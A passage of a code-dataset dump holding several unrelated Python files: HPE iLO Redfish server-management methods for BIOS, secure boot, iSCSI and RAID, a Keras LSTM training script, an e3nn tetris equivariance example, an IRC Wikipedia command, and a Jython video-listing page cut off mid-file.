get_server_capabilities(self):\n \"\"\"Returns the server capabilities\n\n raises: IloError on an error from iLO.\n \"\"\"\n capabilities = {}\n\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n sushy_manager = self._get_sushy_manager(PROLIANT_MANAGER_ID)\n try:\n count = len(sushy_system.pci_devices.gpu_devices)\n boot_mode = rf_utils.get_supported_boot_mode(\n sushy_system.supported_boot_mode)\n capabilities.update(\n {'pci_gpu_devices': count,\n 'ilo_firmware_version': sushy_manager.firmware_version,\n 'rom_firmware_version': sushy_system.rom_version,\n 'server_model': sushy_system.model,\n 'nic_capacity': sushy_system.pci_devices.max_nic_capacity,\n 'boot_mode_bios': boot_mode.boot_mode_bios,\n 'boot_mode_uefi': boot_mode.boot_mode_uefi})\n\n tpm_state = sushy_system.bios_settings.tpm_state\n all_key_to_value_expression_tuples = [\n ('sriov_enabled',\n sushy_system.bios_settings.sriov == sys_cons.SRIOV_ENABLED),\n ('cpu_vt',\n sushy_system.bios_settings.cpu_vt == (\n sys_cons.CPUVT_ENABLED)),\n ('trusted_boot',\n (tpm_state == sys_cons.TPM_PRESENT_ENABLED\n or tpm_state == sys_cons.TPM_PRESENT_DISABLED)),\n ('secure_boot', self._has_secure_boot()),\n ('iscsi_boot',\n (sushy_system.bios_settings.iscsi_resource.\n is_iscsi_boot_supported())),\n ('hardware_supports_raid',\n len(sushy_system.smart_storage.array_controllers.\n members_identities) > 0),\n ('has_ssd',\n common_storage.has_ssd(sushy_system)),\n ('has_rotational',\n common_storage.has_rotational(sushy_system)),\n ('has_nvme_ssd',\n common_storage.has_nvme_ssd(sushy_system))\n ]\n\n all_key_to_value_expression_tuples += (\n [('logical_raid_level_' + x, True)\n for x in sushy_system.smart_storage.logical_raid_levels])\n\n all_key_to_value_expression_tuples += (\n [('drive_rotational_' + str(x) + '_rpm', True)\n for x in\n common_storage.get_drive_rotational_speed_rpm(sushy_system)])\n\n capabilities.update(\n {key: 'true'\n for (key, value) in all_key_to_value_expression_tuples\n if value})\n\n memory_data = sushy_system.memory.details()\n\n if memory_data.has_nvdimm_n:\n capabilities.update(\n {'persistent_memory': (\n json.dumps(memory_data.has_persistent_memory)),\n 'nvdimm_n': (\n json.dumps(memory_data.has_nvdimm_n)),\n 'logical_nvdimm_n': (\n json.dumps(memory_data.has_logical_nvdimm_n))})\n\n except sushy.exceptions.SushyError as e:\n msg = (self._(\"The Redfish controller is unable to get \"\n \"resource or its members. Error \"\n \"%(error)s)\") % {'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n return capabilities\n\n def reset_bios_to_default(self):\n \"\"\"Resets the BIOS settings to default values.\n\n :raises: IloError, on an error from iLO.\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n try:\n sushy_system.bios_settings.update_bios_to_default()\n except sushy.exceptions.SushyError as e:\n msg = (self._(\"The Redfish controller is unable to update bios \"\n \"settings to default Error %(error)s\") %\n {'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n def get_secure_boot_mode(self):\n \"\"\"Get the status of secure boot.\n\n :returns: True, if enabled, else False\n :raises: IloError, on an error from iLO.\n :raises: IloCommandNotSupportedError, if the command is not supported\n on the server.\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n try:\n secure_boot_enabled = GET_SECUREBOOT_CURRENT_BOOT_MAP.get(\n sushy_system.secure_boot.current_boot)\n except sushy.exceptions.SushyError as e:\n msg = (self._('The Redfish controller failed to provide '\n 'information about secure boot on the server. '\n 'Error: %(error)s') %\n {'error': str(e)})\n LOG.debug(msg)\n raise exception.IloCommandNotSupportedError(msg)\n\n if secure_boot_enabled:\n LOG.debug(self._(\"Secure boot is Enabled\"))\n else:\n LOG.debug(self._(\"Secure boot is Disabled\"))\n return secure_boot_enabled\n\n def _has_secure_boot(self):\n try:\n self._get_sushy_system(PROLIANT_SYSTEM_ID).secure_boot\n except (exception.MissingAttributeError, sushy.exceptions.SushyError):\n return False\n return True\n\n def set_secure_boot_mode(self, secure_boot_enable):\n \"\"\"Enable/Disable secure boot on the server.\n\n Resetting the server post updating this settings is needed\n from the caller side to make this into effect.\n :param secure_boot_enable: True, if secure boot needs to be\n enabled for next boot, else False.\n :raises: IloError, on an error from iLO.\n :raises: IloCommandNotSupportedError, if the command is not supported\n on the server.\n \"\"\"\n if self._is_boot_mode_uefi():\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n try:\n sushy_system.secure_boot.enable_secure_boot(secure_boot_enable)\n except exception.InvalidInputError as e:\n msg = (self._('Invalid input. Error %(error)s')\n % {'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n except sushy.exceptions.SushyError as e:\n msg = (self._('The Redfish controller failed to set secure '\n 'boot settings on the server. Error: %(error)s')\n % {'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n else:\n msg = (self._('System is not in UEFI boot mode. \"SecureBoot\" '\n 'related resources cannot be changed.'))\n raise exception.IloCommandNotSupportedInBiosError(msg)\n\n def reset_secure_boot_keys(self):\n \"\"\"Reset secure boot keys to manufacturing defaults.\n\n :raises: IloError, on an error from iLO.\n :raises: IloCommandNotSupportedError, if the command is not supported\n on the server.\n \"\"\"\n if self._is_boot_mode_uefi():\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n try:\n sushy_system.secure_boot.reset_keys(\n sys_cons.SECUREBOOT_RESET_KEYS_DEFAULT)\n except sushy.exceptions.SushyError as e:\n msg = (self._('The Redfish controller failed to reset secure '\n 'boot keys on the server. Error %(error)s')\n % {'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n else:\n msg = (self._('System is not in UEFI boot mode. \"SecureBoot\" '\n 'related resources cannot be changed.'))\n raise exception.IloCommandNotSupportedInBiosError(msg)\n\n def clear_secure_boot_keys(self):\n \"\"\"Reset all keys.\n\n :raises: IloError, on an error from iLO.\n :raises: IloCommandNotSupportedError, if the command is not supported\n on the server.\n \"\"\"\n if self._is_boot_mode_uefi():\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n try:\n sushy_system.secure_boot.reset_keys(\n sys_cons.SECUREBOOT_RESET_KEYS_DELETE_ALL)\n except sushy.exceptions.SushyError as e:\n msg = (self._('The Redfish controller failed to clear secure '\n 'boot keys on the server. Error %(error)s')\n % {'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n else:\n msg = (self._('System is not in UEFI boot mode. \"SecureBoot\" '\n 'related resources cannot be changed.'))\n raise exception.IloCommandNotSupportedInBiosError(msg)\n\n def get_essential_properties(self):\n \"\"\"Constructs the dictionary of essential properties\n\n Constructs the dictionary of essential properties, named\n cpu, cpu_arch, local_gb, memory_mb. The MACs are also returned\n as part of this method.\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n try:\n # TODO(nisha): Add local_gb here and return after\n # local_gb changes are merged.\n # local_gb = sushy_system.storage_summary\n prop = {'memory_mb': (sushy_system.memory_summary.size_gib * 1024),\n 'cpus': sushy_system.processors.summary.count,\n 'cpu_arch': sushy_map.PROCESSOR_ARCH_VALUE_MAP_REV.get(\n sushy_system.processors.summary.architecture),\n 'local_gb': common_storage.get_local_gb(sushy_system)}\n return {'properties': prop,\n 'macs': sushy_system.ethernet_interfaces.summary}\n except sushy.exceptions.SushyError as e:\n msg = (self._('The Redfish controller failed to get the '\n 'resource data. Error %(error)s')\n % {'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n def _change_iscsi_target_settings(self, iscsi_info):\n \"\"\"Change iSCSI target settings.\n\n :param iscsi_info: A dictionary that contains information of iSCSI\n target like target_name, lun, ip_address, port etc.\n :raises: IloError, on an error from iLO.\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n try:\n pci_settings_map = (\n sushy_system.bios_settings.bios_mappings.pci_settings_mappings)\n nics = []\n for mapping in pci_settings_map:\n for subinstance in mapping['Subinstances']:\n for association in subinstance['Associations']:\n if 'NicBoot' in association:\n nics.append(association)\n except sushy.exceptions.SushyError as e:\n msg = (self._('The Redfish controller failed to get the '\n 'bios mappings. Error %(error)s')\n % {'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n if not nics:\n msg = ('No nics were found on the system')\n raise exception.IloError(msg)\n\n # Set iSCSI info to all nics\n iscsi_infos = []\n for nic in nics:\n data = iscsi_info.copy()\n data['iSCSIAttemptName'] = nic\n data['iSCSINicSource'] = nic\n data['iSCSIAttemptInstance'] = nics.index(nic) + 1\n iscsi_infos.append(data)\n\n iscsi_data = {'iSCSISources': iscsi_infos}\n try:\n (sushy_system.bios_settings.iscsi_resource.\n iscsi_settings.update_iscsi_settings(iscsi_data))\n except sushy.exceptions.SushyError as e:\n msg = (self._(\"The Redfish controller is failed to update iSCSI \"\n \"settings. Error %(error)s\") %\n {'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n def set_iscsi_info(self, target_name, lun, ip_address,\n port='3260', auth_method=None, username=None,\n password=None):\n \"\"\"Set iSCSI details of the system in UEFI boot mode.\n\n The initiator system is set with the target details like\n IQN, LUN, IP, Port etc.\n :param target_name: Target Name for iSCSI.\n :param lun: logical unit number.\n :param ip_address: IP address of the target.\n :param port: port of the target.\n :param auth_method : either None or CHAP.\n :param username: CHAP Username for authentication.\n :param password: CHAP secret.\n :raises: IloCommandNotSupportedInBiosError, if the system is\n in the bios boot mode.\n \"\"\"\n if(self._is_boot_mode_uefi()):\n iscsi_info = {}\n iscsi_info['iSCSITargetName'] = target_name\n iscsi_info['iSCSILUN'] = lun\n iscsi_info['iSCSITargetIpAddress'] = ip_address\n iscsi_info['iSCSITargetTcpPort'] = int(port)\n iscsi_info['iSCSITargetInfoViaDHCP'] = False\n iscsi_info['iSCSIConnection'] = 'Enabled'\n if (auth_method == 'CHAP'):\n iscsi_info['iSCSIAuthenticationMethod'] = 'Chap'\n iscsi_info['iSCSIChapUsername'] = username\n iscsi_info['iSCSIChapSecret'] = password\n self._change_iscsi_target_settings(iscsi_info)\n else:\n msg = 'iSCSI boot is not supported in the BIOS boot mode'\n raise exception.IloCommandNotSupportedInBiosError(msg)\n\n def unset_iscsi_info(self):\n \"\"\"Disable iSCSI boot option in UEFI boot mode.\n\n :raises: IloCommandNotSupportedInBiosError, if the system is\n in the BIOS boot mode.\n \"\"\"\n if(self._is_boot_mode_uefi()):\n iscsi_info = {'iSCSIConnection': 'Disabled'}\n self._change_iscsi_target_settings(iscsi_info)\n else:\n msg = 'iSCSI boot is not supported in the BIOS boot mode'\n raise exception.IloCommandNotSupportedInBiosError(msg)\n\n def set_iscsi_initiator_info(self, initiator_iqn):\n \"\"\"Set iSCSI initiator information in iLO.\n\n :param initiator_iqn: Initiator iqn for iLO.\n :raises: IloError, on an error from iLO.\n :raises: IloCommandNotSupportedInBiosError, if the system is\n in the BIOS boot mode.\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n if(self._is_boot_mode_uefi()):\n iscsi_data = {'iSCSIInitiatorName': initiator_iqn}\n try:\n (sushy_system.bios_settings.iscsi_resource.\n iscsi_settings.update_iscsi_settings(iscsi_data))\n except sushy.exceptions.SushyError as e:\n msg = (self._(\"The Redfish controller has failed to update \"\n \"iSCSI settings. Error %(error)s\") %\n {'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n else:\n msg = 'iSCSI initiator cannot be updated in BIOS boot mode'\n raise exception.IloCommandNotSupportedInBiosError(msg)\n\n def get_iscsi_initiator_info(self):\n \"\"\"Give iSCSI initiator information of iLO.\n\n :returns: iSCSI initiator information.\n :raises: IloError, on an error from iLO.\n :raises: IloCommandNotSupportedInBiosError, if the system is\n in the BIOS boot mode.\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n if(self._is_boot_mode_uefi()):\n try:\n iscsi_initiator = (\n sushy_system.bios_settings.iscsi_resource.iscsi_initiator)\n except sushy.exceptions.SushyError as e:\n msg = (self._('The Redfish controller has failed to get the '\n 'iSCSI initiator. Error %(error)s')\n % {'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n return iscsi_initiator\n else:\n msg = 'iSCSI initiator cannot be retrieved in BIOS boot mode'\n raise exception.IloCommandNotSupportedInBiosError(msg)\n\n def inject_nmi(self):\n \"\"\"Inject NMI, Non Maskable Interrupt.\n\n Inject NMI (Non Maskable Interrupt) for a node immediately.\n\n :raises: IloError, on an error from iLO\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n if sushy_system.power_state != sushy.SYSTEM_POWER_STATE_ON:\n raise exception.IloError(\"Server is not in powered on state.\")\n\n try:\n sushy_system.reset_system(sushy.RESET_NMI)\n except sushy.exceptions.SushyError as e:\n msg = (self._('The Redfish controller failed to inject nmi to '\n 'server. Error %(error)s') % {'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n def get_host_post_state(self):\n \"\"\"Get the current state of system POST.\n\n Retrieves current state of system POST.\n\n :returns: POST state of the server. The valida states are:-\n null, Unknown, Reset, PowerOff, InPost,\n InPostDiscoveryComplete and FinishedPost.\n :raises: IloError, on an error from iLO\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n return GET_POST_STATE_MAP.get(sushy_system.post_state)\n\n def delete_raid_configuration(self):\n \"\"\"Delete the raid configuration on the hardware.\"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n sushy_system.delete_raid()\n\n def get_current_bios_settings(self, only_allowed_settings=True):\n \"\"\"Get current BIOS settings.\n\n :param: only_allowed_settings: True when only allowed BIOS settings\n are to be returned. If False, All the BIOS settings supported\n by iLO are returned.\n :return: a dictionary of current BIOS settings is returned. Depending\n on the 'only_allowed_settings', either only the allowed\n settings are returned or all the supported settings are\n returned.\n :raises: IloError, on an error from iLO\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n try:\n current_settings = sushy_system.bios_settings.json\n except sushy.exceptions.SushyError as e:\n msg = (self._('The current BIOS Settings were not found. Error '\n '%(error)s') %\n {'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n attributes = current_settings.get(\"Attributes\")\n if only_allowed_settings and attributes:\n return common_utils.apply_bios_properties_filter(\n attributes, ilo_cons.SUPPORTED_REDFISH_BIOS_PROPERTIES)\n return attributes\n\n def get_pending_bios_settings(self, only_allowed_settings=True):\n \"\"\"Get pending BIOS settings.\n\n :param: only_allowed_settings: True when only allowed BIOS settings are\n to be returned. If False, All the BIOS settings supported by\n iLO are returned.\n :return: a dictionary of pending BIOS settings is returned. Depending\n on the 'only_allowed_settings', either only the allowed\n settings are returned or all the supported settings are\n returned.\n :raises: IloError, on an error from iLO.\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n try:\n settings = sushy_system.bios_settings.pending_settings.json\n except sushy.exceptions.SushyError as e:\n msg = (self._('The pending BIOS Settings were not found. Error '\n '%(error)s') %\n {'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n attributes = settings.get(\"Attributes\")\n if only_allowed_settings and attributes:\n return common_utils.apply_bios_properties_filter(\n attributes, ilo_cons.SUPPORTED_REDFISH_BIOS_PROPERTIES)\n return attributes\n\n def set_bios_settings(self, data=None, only_allowed_settings=True):\n \"\"\"Sets current BIOS settings to the provided data.\n\n :param: only_allowed_settings: True when only allowed BIOS settings\n are to be set. If False, all the BIOS settings supported by\n iLO and present in the 'data' are set.\n :param: data: a dictionary of BIOS settings to be applied. Depending\n on the 'only_allowed_settings', either only the allowed\n settings are set or all the supported settings that are in the\n 'data' are set.\n :raises: IloError, on an error from iLO.\n :raises: IloCommandNotSupportedError, if the command is not supported\n on the server.\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n filtered_data = data\n if only_allowed_settings and data:\n filtered_data = common_utils.apply_bios_properties_filter(\n data, ilo_cons.SUPPORTED_REDFISH_BIOS_PROPERTIES)\n if filtered_data:\n try:\n settings_required = sushy_system.bios_settings.pending_settings\n settings_required.update_bios_data_by_patch(filtered_data)\n except sushy.exceptions.SushyError as e:\n msg = (self._('The pending BIOS Settings resource not found.'\n ' Error %(error)s') %\n {'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n def get_default_bios_settings(self, only_allowed_settings=True):\n \"\"\"Get default BIOS settings.\n\n :param: only_allowed_settings: True when only allowed BIOS settings\n are to be returned. If False, All the BIOS settings supported\n by iLO are returned.\n :return: a dictionary of default BIOS settings(factory settings).\n Depending on the 'only_allowed_settings', either only the\n allowed settings are returned or all the supported settings\n are returned.\n :raises: IloError, on an error from iLO.\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n try:\n settings = sushy_system.bios_settings.default_settings\n except sushy.exceptions.SushyError as e:\n msg = (self._('The default BIOS Settings were not found. Error '\n '%(error)s') %\n {'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n if only_allowed_settings:\n return common_utils.apply_bios_properties_filter(\n settings, ilo_cons.SUPPORTED_REDFISH_BIOS_PROPERTIES)\n return settings\n\n def create_raid_configuration(self, raid_config):\n \"\"\"Create the raid configuration on the hardware.\n\n Based on user raid_config input, it will create raid\n\n :param raid_config: A dictionary containing target raid configuration\n data. This data stucture should be as follows:\n raid_config = {'logical_disks': [{'raid_level': 1,\n 'size_gb': 100, 'physical_disks': ['6I:1:5'],\n 'controller': 'HPE Smart Array P408i-a SR Gen10'},\n ]}\n :raises: IloError, on an error from iLO.\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n sushy_system.create_raid(raid_config)\n","sub_path":"proliantutils/redfish/redfish.py","file_name":"redfish.py","file_ext":"py","file_size_in_byte":50775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"634858669","text":"import pickle as pd\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import LSTM\nimport numpy as np\nimport random\nfrom sklearn.model_selection import train_test_split\nfrom scipy import signal\nfrom keras.callbacks import LambdaCallback\nfrom keras.callbacks import ModelCheckpoint\n\nt = np.linspace(0, 1, 1000)\ntraingle = signal.sawtooth(2 * np.pi * 5 * t)\n\ndef generate_training_list(leng):\n training_list = []\n\n for l in range(leng):\n length = random.randint(5, 10)\n common_diff = 1#random.randint(0, 50)\n seq = []\n start_ele = random.randint(-100, 100)\n \n func_list = [np.sin, traingle]\n func = random.choice(func_list)\n \n for n in range(length+1):\n ele = start_ele*1e-3 + (n-1)*common_diff\n # print (ele)\n # ele = ele * 1e-3\n # if (ele >= 0):\n seq.append(func(ele))\n last = seq[-1]\n \n seq.pop()\n seq += [seq[-1]]*(10 - len(seq))\n \n # print (seq, last)\n training_list.append((seq, last))\n\n return training_list\n\n\ntraining_list = generate_training_list(10)\nX = [x[0] for x in training_list]\nY = [x[1] for x in training_list]\nX = np.asarray(X)\nY = np.asarray(Y)\n\nX_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.30)\n\nX_train = np.expand_dims(X_train, 2)\nX_test = np.expand_dims(X_test, 2)\n\nY_train = np.expand_dims(Y_train, 1)\nY_test = np.expand_dims(Y_test, 1)\n\n\nepochs = 1000\nbatch_size = 64\nhidden_neurons = 32\noutput_size = 1\n\nmodel = Sequential()\nmodel.add(LSTM(hidden_neurons, input_shape=(X_train.shape[1], X_train.shape[2])))\nmodel.add(Dense(output_size, activation = 'relu'))\n\nmodel.compile(loss='mean_squared_error', optimizer='adam', metrics=['accuracy'])\nprint(model.summary())\n\nfilepath=\"combined.hdf5\"\ncheckpoint = ModelCheckpoint(filepath, monitor='loss', verbose=1, save_best_only=True, mode='min')\ncallbacks_list = [checkpoint]\nmodel.fit(X_train, Y_train, epochs=epochs, batch_size=batch_size, validation_data=(X_test, Y_test), callbacks=callbacks_list)\n\nscores = model.evaluate(X_test, Y_test, batch_size=batch_size, verbose=0)\nprint(\"Model Accuracy: %.2f%%\" % (scores[1]*100))\n","sub_path":"Assignment4/Ques2/Task1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"645362619","text":"b = [1,2,3,4,5]\n\n'''def next():\n a = int(input())\n try:\n b.index(a)\n print(\"Данная клетка занята. Повторите пожалуйста\")\n except ValueError:\n print(\"Вы вели правильно\")\n\n b.append(a)\n print(b)\n\nnext()\n\n\n\n'''\ndef proverka():\n while True:\n cifra = input()\n try:\n if int(cifra) <= 0:\n print(\"Вы вели число с меньшим значением, чем надо. Повоторите пожалуйста\")\n return proverka()\n elif int(cifra) >= 10:\n print(\"Вы вели число с больше значением, чем надо. Повоторите пожалуйста\")\n return proverka()\n\n else:\n try:\n b.index(a)\n print(\"Данная клетка занята. Повторите пожалуйста\")\n except ValueError:\n print(\"Вы вели правильно\")\n b.append(a)\n print(b)\n return int(cifra)\n except ValueError:\n print(\"Вы вели букву. Ведите число\")\n\n\nproverka()\n#'''\n\n","sub_path":"test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"369200333","text":"# pylint: disable=not-callable, no-member, invalid-name, line-too-long, wildcard-import, unused-wildcard-import, missing-docstring, arguments-differ, abstract-method\nimport time\nfrom functools import partial\n\nimport torch\nimport torch_geometric as tg\nfrom torch_geometric.data import Batch\nfrom torch_scatter import scatter_add\n\nfrom e3nn.point.data_helpers import DataNeighbors\nfrom e3nn import o3, rsh, rs\nfrom e3nn.networks import MLNetwork, make_gated_block\nfrom e3nn.non_linearities.rescaled_act import swish\nfrom e3nn.tensor_product import GroupedWeightedTensorProduct\nfrom e3nn.radial import GaussianRadialModel\nfrom e3nn.linear import Linear\n\n\ndef get_dataset():\n tetris = [[(0, 0, 0), (0, 0, 1), (1, 0, 0), (1, 1, 0)], # chiral_shape_1\n [(0, 0, 0), (0, 0, 1), (1, 0, 0), (1, -1, 0)], # chiral_shape_2\n [(0, 0, 0), (1, 0, 0), (0, 1, 0), (1, 1, 0)], # square\n [(0, 0, 0), (0, 0, 1), (0, 0, 2), (0, 0, 3)], # line\n [(0, 0, 0), (0, 0, 1), (0, 1, 0), (1, 0, 0)], # corner\n [(0, 0, 0), (0, 0, 1), (0, 0, 2), (0, 1, 0)], # L\n [(0, 0, 0), (0, 0, 1), (0, 0, 2), (0, 1, 1)], # T\n [(0, 0, 0), (1, 0, 0), (1, 1, 0), (2, 1, 0)]] # zigzag\n tetris = torch.tensor(tetris, dtype=torch.get_default_dtype())\n labels = torch.tensor([\n [+1, 0, 0, 0, 0, 0, 0], # chiral_shape_1\n [-1, 0, 0, 0, 0, 0, 0], # chiral_shape_2\n [0, 1, 0, 0, 0, 0, 0], # square\n [0, 0, 1, 0, 0, 0, 0], # line\n [0, 0, 0, 1, 0, 0, 0], # corner\n [0, 0, 0, 0, 1, 0, 0], # L\n [0, 0, 0, 0, 0, 1, 0], # T\n [0, 0, 0, 0, 0, 0, 1], # zigzag\n ], dtype=torch.get_default_dtype())\n\n # apply random rotation\n tetris = torch.einsum('ij,zaj->zai', o3.rand_rot(), tetris)\n\n return tetris, labels\n\n\nclass Convolution(tg.nn.MessagePassing):\n \"\"\"\n Convolution with self interaction\n \"\"\"\n def __init__(self, Rs_in, Rs_out, lmax=3):\n super().__init__(aggr='add', flow='target_to_source')\n RadialModel = partial(\n GaussianRadialModel,\n max_radius=1.2,\n min_radius=0.0,\n number_of_basis=3,\n h=100,\n L=2,\n act=swish\n )\n\n Rs_sh = [(1, l, (-1)**l) for l in range(0, lmax + 1)]\n\n self.Rs_in = rs.simplify(Rs_in)\n self.Rs_out = rs.simplify(Rs_out)\n\n self.lin1 = Linear(Rs_in, Rs_out, allow_unused_inputs=True, allow_zero_outputs=True)\n self.tp = GroupedWeightedTensorProduct(Rs_in, Rs_sh, Rs_out, own_weight=False)\n self.rm = RadialModel(self.tp.nweight)\n self.lin2 = Linear(Rs_out, Rs_out)\n self.Rs_sh = Rs_sh\n\n def forward(self, features, edge_index, edge_r, sh=None, size=None, n_norm=1):\n # features = [num_atoms, dim(Rs_in)]\n if sh is None:\n sh = rsh.spherical_harmonics_xyz(self.Rs_sh, edge_r, \"component\") # [num_messages, dim(Rs_sh)]\n sh = sh / n_norm**0.5\n\n w = self.rm(edge_r.norm(dim=1)) # [num_messages, nweight]\n\n self_interation = self.lin1(features)\n features = self.propagate(edge_index, size=size, x=features, sh=sh, w=w)\n features = self.lin2(features)\n has_self_interaction = torch.cat([\n torch.ones(mul * (2 * l + 1)) if any(l_in == l and p_in == p for _, l_in, p_in in self.Rs_in) else torch.zeros(mul * (2 * l + 1))\n for mul, l, p in self.Rs_out\n ])\n return 0.5**0.5 * self_interation + (1 + (0.5**0.5 - 1) * has_self_interaction) * features\n\n def message(self, x_j, sh, w):\n return self.tp(x_j, sh, w)\n\n\ndef forward(f, shapes, labels, lmax, device):\n r_max = 1.1\n x = torch.ones(4, 1)\n batch = Batch.from_data_list([DataNeighbors(x, shape, r_max, y=label, self_interaction=False) for shape, label in zip(shapes, labels)])\n batch = batch.to(device)\n sh = rsh.spherical_harmonics_xyz(list(range(lmax + 1)), batch.edge_attr, 'component')\n out = f(batch.x, batch.edge_index, batch.edge_attr, sh=sh, n_norm=3)\n out = scatter_add(out, batch.batch, dim=0)\n out = torch.tanh(out)\n return out\n\n\ndef main():\n torch.set_default_dtype(torch.float64)\n device = 'cuda' if torch.cuda.is_available() else 'cpu'\n print(device)\n\n # Define the network\n Rs_in = [(1, 0, 1)]\n Rs_out = [(1, 0, -1), (6, 0, 1)]\n lmax = 2\n\n f = MLNetwork(Rs_in, Rs_out, partial(Convolution, lmax=lmax), partial(make_gated_block, mul=16, lmax=lmax), layers=4)\n f = f.to(device)\n\n # Train the network on a tetris dataset\n tetris, labels = get_dataset()\n optimizer = torch.optim.Adam(f.parameters(), lr=3e-3)\n\n wall = time.perf_counter()\n for step in range(100):\n out = forward(f, tetris, labels, lmax, device)\n\n acc = out.cpu().round().eq(labels).double().mean().item()\n\n with torch.no_grad():\n r_out = forward(f, *get_dataset(), lmax, device)\n\n loss = (out - labels).pow(2).mean()\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n print(\"wall={:.1f} step={} loss={:.2e} accuracy={:.2f} equivariance error={:.1e}\".format(\n time.perf_counter() - wall, step, loss.item(), acc, (out - r_out).pow(2).mean().sqrt().item()))\n\n print(labels.numpy().round(1))\n print(out.detach().numpy().round(1))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"examples/point/tetris_torch_geo.py","file_name":"tetris_torch_geo.py","file_ext":"py","file_size_in_byte":5374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"190112256","text":"import json\nfrom config import CHANNEL\nfrom urllib.request import urlopen\n\n\ndef cmd(e, c, msg):\n msg.replace(' ', '_')\n html = urlopen('http://en.wikipedia.org/w/api.php?format=json&action=query&list=search&srlimit=1&srsearch='+msg)\n data = json.loads(html.read().decode())\n try:\n url = data['query']['search'][0]['title']\n except Exception:\n c.privmsg(CHANNEL, \"%s isn't important enough to have a wikipedia article.\" % msg)\n return\n url = url.replace(' ', '_')\n c.privmsg(CHANNEL, 'http://en.wikipedia.org/wiki/'+url)\n","sub_path":"commands/wiki.py","file_name":"wiki.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"313486199","text":"from java.util import HashMap\r\nfrom cn.edustar.jitar.util import FileCache\r\nfrom cn.edustar.jitar.model import SiteUrlModel\r\nfrom video_query import VideoQuery\r\nfrom cn.edustar.jitar.util import ParamUtil\r\n\r\nclass user_video:\r\n\r\n def execute(self):\r\n self.params = ParamUtil(request) \r\n userId = self.params.safeGetIntParam(\"userId\", 0)\r\n listCount = self.params.safeGetIntParam(\"count\", 2)\r\n if(userId == 0) : \r\n request.setAttribute(\"MessageText\", \"没有找到所查询的视频!\")\r\n return \"/WEB-INF/ftl/show_message.ftl\";\r\n user = __jitar__.userService.getUserById(userId)\r\n if user == None: \r\n request.setAttribute(\"MessageText\", \"没有找到所查询的图片\")\r\n return \"/WEB-INF/ftl/show_message.ftl\";\r\n \r\n self.userName = user.loginName\r\n \r\n fc = FileCache()\r\n # 14400 为10 天\r\n content = fc.getUserFileCacheContent(self.userName, \"user_video.html\",30)\r\n if content != \"\":\r\n response.getWriter().write(content)\r\n fc = None\r\n return\r\n \r\n qry = VideoQuery(\"\"\" v.videoId, v.title, v.createDate, v.lastModified, v.flvThumbNailHref, v.href, u.nickName, u.loginName, u.userIcon \"\"\")\r\n qry.userId = userId\r\n qry.orderType = 0\r\n qry.isPrivateShow = None\r\n video_list = qry.query_map(int(listCount))\r\n \r\n templateProcessor = __spring__.getBean(\"templateProcessor\")\r\n map = HashMap()\r\n map.put(\"video_list\", video_list)\r\n map.put(\"UserSiteUrl\", self.getUserSiteUrl())\r\n content = templateProcessor.processTemplate(map, \"/WEB-INF/user/default/user_video.ftl\", \"utf-8\")\r\n \r\n fc.writeUserFileCacheContent(self.userName, \"user_video.html\",content) \r\n response.getWriter().write(content)\r\n fc = None\r\n \r\n def getUserSiteUrl(self):\r\n siteUrl = SiteUrlModel.getSiteUrl()\r\n userSiteUrl = request.getSession().getServletContext().getInitParameter(\"userUrlPattern\");\r\n if 